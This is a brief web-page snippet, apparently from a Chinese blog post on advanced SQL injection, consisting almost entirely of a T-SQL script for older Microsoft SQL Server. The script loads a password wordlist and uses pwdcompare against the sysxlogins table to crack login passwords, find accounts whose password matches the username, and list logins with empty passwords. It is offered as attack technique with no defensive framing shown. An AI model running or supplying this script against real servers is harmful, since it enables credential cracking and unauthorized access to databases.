create table tempdb..passwords( pwd varchar(255) )
bulk insert tempdb..passwords from ’c:\temp\passwords.txt’
select name, pwd from tempdb..passwords inner join sysxlogins
on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1)
union select name, name from sysxlogins where
(pwdcompare( name, sysxlogins.password, 0 ) = 1)
union select sysxlogins.name, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid
where sysxlogins.password is null and
syslogins.isntgroup=0 and
syslogins.isntuser=0
drop table tempdb..passwords

pdf下载: advanced_sql_injection.pdf

相关日志

发表评论